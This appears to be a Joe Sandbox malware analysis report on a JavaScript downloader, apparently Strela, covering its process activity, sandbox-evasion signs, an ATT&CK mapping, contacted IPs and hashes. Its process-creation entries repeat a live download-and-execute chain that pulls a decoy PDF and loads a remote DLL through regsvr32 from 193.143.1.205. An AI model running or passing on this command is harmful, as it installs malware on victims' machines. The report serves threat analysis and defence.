Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3950			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5529			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5128	Thread sleep count: 3950 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5128	Thread sleep count: 5529 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3204	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2056	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6096	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5716	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6492	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.3437944023.000001EF36E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.2195032285.0000019D94B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2189170789.0000019D94BC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2196196914.0000019D94BC0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3439928422.000001EF3C45A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
74771923457277117.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/HK	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tK	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/xK	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.2135004482.00000218D3453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135400568.00000218D51D2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2192482008.000001EF3C350000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3440065121.000001EF3C48F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/HK	net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/xK	net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195645749.0000019D94BAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195032285.0000019D94B58000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2189170789.0000019D94BAD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tK	net.exe, 00000007.00000002.2195124329.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2190543559.0000019D94B80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587921
Start date and time:	2025-01-10 19:26:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	74771923457277117.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.16.168.125, 23.200.0.21, 23.200.0.33, 192.168.2.6, 2.22.50.144, 2.22.50.131, 13.107.246.45, 34.237.241.83, 4.245.163.56, 173.222.162.64, 104.126.112.182, 13.85.23.206
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 74771923457277117.js

Simulations

Behavior and APIs

Time	Type	Description
13:27:05	API Interceptor	20x Sleep call for process: powershell.exe modified
13:27:08	API Interceptor	1x Sleep call for process: net.exe modified
13:27:09	API Interceptor	2x Sleep call for process: svchost.exe modified
13:27:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263260066334877
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0K:9JZj5MiKNnNhoxuz
MD5:	7781C6DADD24D52DB77908B05345F6C0
SHA1:	932C76CF8BF7CFE854E67A29837A021B97F0196F
SHA-256:	1AED0DD35047E2BA8B547EFD2495D5136435599E3F52F71DA5FE6B48511B197F
SHA-512:	4FF1BF2103618CE92A0C17A6F246C7D9CECC103865C88DA6546F0CE05B22FED5DD6AC8BC564A15C405A3275E03B7143DCF3D6F9704C3B88DE487B565445421DB
